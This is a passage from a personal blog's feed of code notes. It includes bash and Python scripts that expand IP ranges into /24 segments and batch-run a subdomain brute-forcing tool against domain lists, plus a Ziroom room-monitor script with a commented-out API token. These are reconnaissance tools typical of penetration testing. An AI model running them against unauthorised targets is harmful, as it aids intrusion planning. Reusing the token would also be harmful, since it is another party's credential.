class="line">#第三段变化范围为0到IPB3</span><br><span class="line">for x in `eval echo &#123;0..$IPB3&#125;` </span><br><span class="line">do</span><br><span class="line">#如果第三段与IPB的第三段相同</span><br><span class="line">if [ $x = $IPB3  ]</span><br><span class="line">then</span><br><span class="line">eval echo "$IPB1.$IPB2.$IPB3.&#123;0..$IPB4&#125;" |xargs -n 1</span><br><span class="line">else</span><br><span class="line">eval echo "$IPB1.$IPB2.$x.&#123;0..255&#125;" |xargs -n 1</span><br><span class="line">fi</span><br><span class="line">done</span><br><span class="line">#如果第二段与IPA和IPB的均不相同</span><br><span class="line">else  </span><br><span class="line">#第三段变化范围</span><br><span class="line">for y in &#123;0..255&#125;</span><br><span class="line">do </span><br><span class="line">echo $IPA1.$n.$y.&#123;0..255&#125; |xargs -n 1</span><br><span class="line">done</span><br><span class="line">fi</span><br><span class="line">done </span><br><span class="line">&#125;</span><br><span class="line"> </span><br><span class="line"><span class="meta">#</span><span class="bash">定义pass函数，啥事都不做</span></span><br><span class="line">pass()&#123;</span><br><span class="line">echo ""&gt;/dev/null</span><br><span class="line">&#125;</span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line">IP1_not_equal()&#123;</span><br><span class="line"><span class="meta">#</span><span class="bash">IP第一段的范围</span></span><br><span class="line">for d1 in `eval echo &#123;$IPA1..$IPB1&#125;`</span><br><span class="line">do</span><br><span class="line"><span class="meta">#</span><span class="bash">&lt;1&gt;如果第一段与IPA1相同</span></span><br><span class="line">if [[ $d1 = $IPA1 ]]</span><br><span class="line">then</span><br><span class="line">#第二段IP范围为IPA2到255</span><br><span class="line">for d2 in `eval echo &#123;$IPA2..255&#125;`</span><br><span class="line">do</span><br><span class="line">   #&lt;1.1&gt;如果第二段与IPA2相同</span><br><span class="line">   if [[ $d2 = $IPA2 ]]</span><br><span class="line">   then</span><br><span class="line">   #第三段IP范围为IPA3到255</span><br><span class="line">   for d3 in `eval echo &#123;$IPA3..255&#125;`</span><br><span class="line">   do</span><br><span class="line">   #&lt;1.1.1&gt;如果第三段IP与IPA3相同</span><br><span class="line">   if [[ $d3 = $IPA3  ]]</span><br><span class="line">   then</span><br><span class="line">   for d4 in `eval echo &#123;$IPA4..255&#125;`</span><br><span class="line">   do</span><br><span class="line">   echo $d1.$d2.$d3.$d4</span><br><span class="line">   done</span><br><span class="line">   #&lt;1.1.2&gt;如果第三段IP与IP3不同</span><br><span class="line">   else</span><br><span class="line">   for d4 in &#123;0..255&#125;</span><br><span class="line">   do</span><br><span class="line">   echo $d1.$d2.$d3.$d4</span><br><span class="line">   done</span><br><span class="line">   fi</span><br><span class="line">   done</span><br><span class="line">   #&lt;1.2&gt;如果第二段与IPA2不同</span><br><span class="line">   else</span><br><span class="line">   for d3 in &#123;0..255&#125;</span><br><span class="line">   do</span><br><span class="line">   for d4 in &#123;0..255&#125;</span><br><span class="line">   do</span><br><span class="line">   echo $d1.$d2.$d3.$d4</span><br><span class="line">   done</span><br><span class="line">   done</span><br><span class="line">   fi  </span><br><span class="line">done</span><br><span class="line"><span class="meta">#</span><span class="bash">&lt;2&gt;如果第一段IP与IPB相同</span></span><br><span class="line">elif [[ $d1 = $IPB1 ]]</span><br><span class="line">then</span><br><span class="line">#第二段IP的范围为0到IPB2</span><br><span class="line">for d2 in `eval echo &#123;0..$IPB2&#125;`</span><br><span class="line">do</span><br><span class="line">#&lt;2.1&gt;如果第二段IP与IPB相同</span><br><span class="line">if [[ $d2 = $IPB2 ]]</span><br><span class="line">then</span><br><span class="line">#第三段IP范围为0到IPB3</span><br><span class="line">for d3 in `eval echo &#123;0..$IPB3&#125;`</span><br><span class="line">do</span><br><span class="line">#&lt;2.1.1&gt;如果第三段IP与IPB3相同</span><br><span class="line">if [[ $d3 = $IPB3 ]]</span><br><span class="line">then</span><br><span class="line">for d4 in `eval echo &#123;0..$IPB4&#125;`</span><br><span class="line">do</span><br><span class="line">echo $d1.$d2.$d3.$d4</span><br><span class="line">done</span><br><span class="line">#&lt;2.1.2&gt;如果第三段IP与IPB3不同</span><br><span class="line">else</span><br><span class="line">for d4 in &#123;0..255&#125;</span><br><span class="line">do</span><br><span class="line">echo $d1.$d2.$d3.$d4</span><br><span class="line">done</span><br><span class="line">fi</span><br><span class="line">done</span><br><span class="line">#&lt;2.2&gt;如果第二段IP与IPB不相同</span><br><span class="line">else</span><br><span class="line">   #第三段IP范围为&#123;0..255&#125;</span><br><span class="line">   for d3 in &#123;0..255&#125;</span><br><span class="line">   do</span><br><span class="line">   #第四段IP范围为&#123;0.255&#125;</span><br><span class="line">   for d4 in &#123;0.255&#125;</span><br><span class="line">   do</span><br><span class="line">   echo $d1.$d2.$d3.$d4</span><br><span class="line">   done</span><br><span class="line">   done</span><br><span class="line">fi</span><br><span class="line">done     </span><br><span class="line"><span class="meta">#</span><span class="bash">&lt;3&gt;第一段IP与IPA1和IPB1都不相同</span></span><br><span class="line">else</span><br><span class="line">for d2 in &#123;0..255&#125;</span><br><span class="line">do</span><br><span class="line">for d3 in &#123;0..255&#125;</span><br><span class="line">do </span><br><span class="line">for d4 in &#123;0..255&#125;</span><br><span class="line">do</span><br><span class="line">echo $d1.$d2.$d3.$d4</span><br><span class="line">done</span><br><span class="line">done</span><br><span class="line">done</span><br><span class="line">fi   </span><br><span class="line">done    </span><br><span class="line">&#125;</span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line">print_range_ip()&#123; </span><br><span class="line"><span class="meta">#</span><span class="bash">&lt;1&gt;如果两IP第一段不同</span></span><br><span class="line">if [ $IPA1 != $IPB1 ]</span><br><span class="line">then</span><br><span class="line">IP1_not_equal </span><br><span class="line"><span class="meta">#</span><span class="bash">&lt;2&gt;如果两IP第一段相同</span></span><br><span class="line">else</span><br><span class="line"><span class="meta">#</span><span class="bash">&lt;2.1&gt; 如果第二段IP相同</span></span><br><span class="line">if [ $IPA2 = $IPB2 ]</span><br><span class="line">then</span><br><span class="line">#&lt;2.1.1&gt;如果第三段IP不相同</span><br><span class="line">if [[ $IPA3 != $IPB3 ]]</span><br><span class="line">then</span><br><span class="line">IP3_not_equal </span><br><span class="line">#&lt;2.2.2&gt;如果第三段IP相同</span><br><span class="line">else</span><br><span class="line">IP4_not_equal</span><br><span class="line">fi</span><br><span class="line"></span><br><span class="line"><span class="meta">#</span><span class="bash">&lt;2.2&gt; 如果第二段IP不相同</span></span><br><span class="line">else</span><br><span class="line">IP2_not_equal</span><br><span class="line"></span><br><span class="line">fi</span><br><span class="line">fi</span><br><span class="line">&#125;</span><br><span class="line">print_range_ip &gt;&gt; allssip.txt</span><br><span class="line">done</span><br><span class="line">done &lt; $1</span><br><span class="line"></span><br></pre></td></tr></table></figure></p><p>IP整理完通过工具扫描</p><p>爆破子域名<br>通过已给url确定一级域名列表：<br><figure class="highlight shell"><figcaption><span>[] [centos_shell]</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="meta">#</span><span class="bash">!/usr/bin/env python</span></span><br><span class="line"><span class="meta">#</span><span class="bash"> -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="meta">#</span><span class="bash">exp:  python *.py  url.txt</span></span><br><span class="line"><span class="meta">#</span><span class="bash">shell去重命令：awk <span class="string">'!a[$0]++'</span> results.txt</span></span><br><span class="line">import sys</span><br><span class="line">import shutil</span><br><span class="line">import dns.name</span><br><span class="line">from tld import get_tld</span><br><span class="line">from tld.utils import update_tld_names</span><br><span class="line"></span><br><span class="line"><span class="meta">#</span><span class="bash">def getdomain(url):</span></span><br><span class="line"></span><br><span class="line"><span class="meta">#</span><span class="bash">    domain = dns.name.from_text(url).split(3)[1].to_text(omit_final_dot=True)</span></span><br><span class="line"><span class="meta">#</span><span class="bash">    <span class="built_in">return</span>(domain)</span></span><br><span class="line"></span><br><span class="line"><span class="meta">#</span><span class="bash">def getd(url):</span></span><br><span class="line"></span><br><span class="line"><span class="meta">#</span><span class="bash">    update_tld_names()</span></span><br><span class="line"><span class="meta">#</span><span class="bash">    <span class="built_in">return</span>(get_tld(url))</span></span><br><span class="line"></span><br><span class="line">def getdomain(domain):</span><br><span class="line">    DomainSuffix = &#123;'info': None, 'coop': None, 'mil': None, </span><br><span class="line">'int': None, 'xxx': None, 'pro': None, 'aero': None, 'idv': None, </span><br><span class="line">'biz': None, 'edu': None, 'org': None, 'net': None, 'gov': None, </span><br><span class="line">'com': None, 'museum': None, 'name': None&#125;</span><br><span class="line">    Result = []</span><br><span class="line">    domain = domain[0:domain.rfind(':')] #去除端口号// url链接不能加http://</span><br><span class="line">    if domain.count('.') == 1:</span><br><span class="line">    return domain</span><br><span class="line">    PointSplitResult = domain.split('.')</span><br><span class="line">    if len(filter(lambda x: not x.isdigit(), PointSplitResult)) == 0:</span><br><span class="line">    return domain </span><br><span class="line">    if DomainSuffix.has_key(PointSplitResult[-1].lower()):</span><br><span class="line">    Result = PointSplitResult[-2:]</span><br><span class="line">        return '.'.join(Result)</span><br><span class="line">    else:</span><br><span class="line">        if DomainSuffix.has_key(PointSplitResult[-2].lower()):</span><br><span class="line">            Result = PointSplitResult[-3:]</span><br><span class="line">            return '.'.join(Result)</span><br><span class="line">        else:</span><br><span class="line">            Result = PointSplitResult[-2:]</span><br><span class="line">            return '.'.join(Result)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">if __name__ == '__main__':</span><br><span class="line">    file = open(sys.argv[1],'r')</span><br><span class="line">    for line in file.readlines():</span><br><span class="line">        line=line.strip('\n')</span><br><span class="line"><span class="meta">#</span><span class="bash">        line = line <span class="keyword">if</span> <span class="string">'://'</span> <span class="keyword">in</span> line <span class="keyword">else</span> <span class="string">'http://'</span> + line</span></span><br><span class="line"><span class="meta">#</span><span class="bash">        <span class="built_in">print</span> line</span></span><br><span class="line">        try:</span><br><span class="line">            print getdomain(line)</span><br><span class="line">        except Exception as e:</span><br><span class="line">            print line+"&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;"</span><br></pre></td></tr></table></figure></p><figure class="highlight shell"><figcaption><span>[] [centos_shell]</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#</span><span class="bash">!/bin/bash</span></span><br><span class="line"><span class="meta">#</span><span class="bash">usage:&gt;.sh domain.txt</span></span><br><span class="line"></span><br><span class="line">while read line1</span><br><span class="line">do</span><br><span class="line"><span class="meta">#</span><span class="bash"><span class="built_in">echo</span> <span class="variable">$line1</span></span></span><br><span class="line">python subDomainsBrute.py -i $line1 --full -o $line1</span><br><span class="line">done &lt; $1</span><br><span class="line"></span><br></pre></td></tr></table></figure><figure class="highlight bat"><figcaption><span>[] [centos_shell]</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">@<span class="built_in">echo</span> off&amp;<span class="built_in">setlocal</span> enabledelayedexpansion</span><br><span class="line"><span class="keyword">for</span> /f "delims=" <span class="variable">%%i</span> <span class="keyword">in</span> (domain.txt) <span class="keyword">do</span> <span class="built_in">set</span> "website=<span class="variable">%%i</span>"&amp;<span class="keyword">call</span> :s <span class="variable">!website!</span></span><br><span class="line"><span class="built_in">pause</span></span><br><span class="line">:s</span><br><span class="line">python subDomainsBrute.py -i %<span class="number">1</span> --full -o %<span class="number">1</span></span><br><span class="line"><span class="keyword">goto</span> :eof</span><br></pre></td></tr></table></figure>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;给定域名、部分IP：&lt;/p&gt;
&lt;p&gt;整理成C段IP，&lt;/p&gt;
&lt;figure class=&quot;highlight python&quot;&gt;&lt;figcaption&gt;&lt;span&gt;[] [centos_shell]&lt;/span&gt;&lt;/figcaption&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;7&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;8&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;9&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;10&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;11&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;12&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;13&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;14&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;15&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;16&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;17&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;18&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;19&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;20&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;21&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;22&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;23&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;24&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;25&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;26&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;27&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;28&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;29&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;30&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;31&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;32&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;33&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;34&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;35&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;36&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;37&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;38&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;39&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;40&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;41&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;42&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;43&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;44&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;45&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;comment&quot;&gt;#!/usr/bin/python&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;comment&quot;&gt;# -*- coding:utf-8 -*-&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;comment&quot;&gt;#exp:192.168.1.1  &amp;gt;&amp;gt;&amp;gt;  192.168.1.0/24&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;import&lt;/span&gt; re&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; &lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;comment&quot;&gt;# def cleanCLRFspace(content):&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;comment&quot;&gt;# 	noCLContext = content.replace(&#39;\n&#39;,&#39;&#39;)&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;comment&quot;&gt;# 	noSpaceCLRFcontext = noCLContext.strip()&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;comment&quot;&gt;# 	return noSpaceCLRFcontext&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; &lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;function&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;title&quot;&gt;readFile&lt;/span&gt;&lt;span class=&quot;params&quot;&gt;()&lt;/span&gt;:&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;	ipf = open(&lt;span class=&quot;string&quot;&gt;&#39;./content.txt&#39;&lt;/span&gt;,&lt;span class=&quot;string&quot;&gt;&#39;r&#39;&lt;/span&gt;)&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;	&lt;span class=&quot;keyword&quot;&gt;return&lt;/span&gt; ipf&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; &lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;function&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;title&quot;&gt;getLineIP&lt;/span&gt;&lt;span class=&quot;params&quot;&gt;(ipf)&lt;/span&gt;:&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;	ipList = set()&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;	texts = ipf.readlines()&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;	&lt;span class=&quot;keyword&quot;&gt;for&lt;/span&gt; text &lt;span class=&quot;keyword&quot;&gt;in&lt;/span&gt; texts:&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;		ips = re.findall(&lt;span class=&quot;string&quot;&gt;r&#39;\d+\.\d+?\.\d+?\.\d+?&#39;&lt;/span&gt;,text)&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;		&lt;span class=&quot;keyword&quot;&gt;for&lt;/span&gt; ip &lt;span class=&quot;keyword&quot;&gt;in&lt;/span&gt; ips:&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;			ipList.add(ip)&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;	&lt;span class=&quot;keyword&quot;&gt;return&lt;/span&gt; ipList&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; &lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; &lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;function&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;title&quot;&gt;ip2c&lt;/span&gt;&lt;span class=&quot;params&quot;&gt;(ipNoDup)&lt;/span&gt;:&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;	ipset = set()&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;	&lt;span class=&quot;keyword&quot;&gt;for&lt;/span&gt; ip &lt;span class=&quot;keyword&quot;&gt;in&lt;/span&gt; ipNoDup:&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;		ipset.add(re.findall(&lt;span class=&quot;string&quot;&gt;r&#39;\d+?\.\d+?\.\d+?\.&#39;&lt;/span&gt;,ip)[&lt;span class=&quot;number&quot;&gt;0&lt;/span&gt;] + &lt;span class=&quot;string&quot;&gt;&#39;0/24&#39;&lt;/span&gt;)&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;	iplist = list(ipset)&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;	iplist.sort()&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;	&lt;span class=&quot;keyword&quot;&gt;return&lt;/span&gt; iplist&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; &lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; &lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; &lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;function&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;title&quot;&gt;saveContext&lt;/span&gt;&lt;span class=&quot;params&quot;&gt;(s)&lt;/span&gt;:&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;	wfile = open(&lt;span class=&quot;string&quot;&gt;&#39;./result.txt&#39;&lt;/span&gt;,&lt;span class=&quot;string&quot;&gt;&#39;w&#39;&lt;/span&gt;)&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;	&lt;span class=&quot;keyword&quot;&gt;for&lt;/span&gt; i &lt;span class=&quot;keyword&quot;&gt;in&lt;/span&gt; s:&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;		wfile.write(i+&lt;span class=&quot;string&quot;&gt;&#39;\n&#39;&lt;/span&gt;)&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;	wfile.close()&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; &lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;if&lt;/span&gt; __name__ == &lt;span class=&quot;string&quot;&gt;&#39;__main__&#39;&lt;/span&gt;:&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;	ipf = readFile()&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;	ipList = getLineIP(ipf)&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;	iplist = ip2c(ipList)&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;	saveContext(iplist)&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
    
    </summary>
    
      <category term="笔记" scheme="https://10o0.github.io/categories/%E7%AC%94%E8%AE%B0/"/>
    
    
      <category term="bash" scheme="https://10o0.github.io/tags/bash/"/>
    
      <category term="linux" scheme="https://10o0.github.io/tags/linux/"/>
    
      <category term="sh" scheme="https://10o0.github.io/tags/sh/"/>
    
  </entry>
  
  <entry>
    <title>recording</title>
    <link href="https://10o0.github.io/2018/08/17/recording/"/>
    <id>https://10o0.github.io/2018/08/17/recording/</id>
    <published>2018-08-17T01:43:14.000Z</published>
    <updated>2018-08-17T01:45:41.120Z</updated>
    
    <content type="html"><![CDATA[<p><a href="https://media.defcon.org/" target="_blank" rel="noopener">https://media.defcon.org/</a></p><p>last:<a href="https://media.defcon.org/DEF%20CON%2026/DEF%20CON%2026%20presentations/" target="_blank" rel="noopener">https://media.defcon.org/DEF%20CON%2026/DEF%20CON%2026%20presentations/</a></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;p&gt;&lt;a href=&quot;https://media.defcon.org/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://media.defcon.org/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;last:&lt;a href=&quot;https://media.defco
      
    
    </summary>
    
      <category term="recording" scheme="https://10o0.github.io/categories/recording/"/>
    
    
      <category term="defcon" scheme="https://10o0.github.io/tags/defcon/"/>
    
  </entry>
  
  <entry>
    <title>Ziroom--Monitor</title>
    <link href="https://10o0.github.io/2018/08/13/ziroom/"/>
    <id>https://10o0.github.io/2018/08/13/ziroom/</id>
    <published>2018-08-13T05:53:40.000Z</published>
    <updated>2018-08-13T06:45:48.735Z</updated>
    
    <content type="html"><![CDATA[<figure class="highlight python"><figcaption><span>[] [centos_shell]</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python</span></span><br><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="string">"""</span></span><br><span class="line"><span class="string">Created on Sat Apr 28 15:52:59 2018</span></span><br><span class="line"><span class="string">@author: root</span></span><br><span class="line"><span class="string">"""</span></span><br><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> itchat</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"><span class="keyword">import</span> datetime</span><br><span class="line"><span class="comment">#itchat.auto_login()</span></span><br><span class="line">itchat.auto_login(hotReload=<span class="keyword">True</span>)</span><br><span class="line">itchat.auto_login(enableCmdQR=<span class="number">-1</span>)</span><br><span class="line"><span class="comment">#from urllib import request</span></span><br><span class="line">url = <span class="string">"http://phoenix.ziroom.com/v7/room/detail.json?house_id=62947781&amp;city_code=110000&amp;id=61544148"</span></span><br><span class="line">headers = &#123;</span><br><span class="line">    <span class="string">'accept'</span>: <span class="string">'application/json;version=3'</span>,</span><br><span class="line">    <span class="string">'Host'</span>: <span class="string">'phoenix.ziroom.com'</span>,</span><br><span class="line">    <span class="string">'Referer'</span>: <span class="string">'https://hd.ziroom.com/2018/haiyan/index.html?citycode=110000'</span>,</span><br><span class="line"><span class="comment">#    'token': 'd76a826e-bfb4-4421-902e-132418ebedfa',</span></span><br><span class="line">    <span class="string">'User-Agent'</span>: <span class="string">'okhttp/3.10.0'</span>,</span><br><span class="line">&#125;</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">get_page</span><span class="params">(url)</span>:</span></span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        response = requests.get(url, headers=headers)</span><br><span class="line">        <span class="keyword">if</span> response.status_code == <span class="number">200</span>:</span><br><span class="line">            <span class="keyword">return</span> response.json()</span><br><span class="line">    <span class="keyword">except</span> requests.ConnectionError <span class="keyword">as</span> e:</span><br><span class="line">        print(<span class="string">'Error'</span>, e.args)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:</span><br><span class="line">    n = <span class="number">0</span></span><br><span class="line">    <span class="keyword">while</span> (<span class="number">1</span>):</span><br><span class="line">        n = n+<span class="number">1</span></span><br><span class="line">        json_dict = get_page(url)</span><br><span class="line"><span class="comment">#        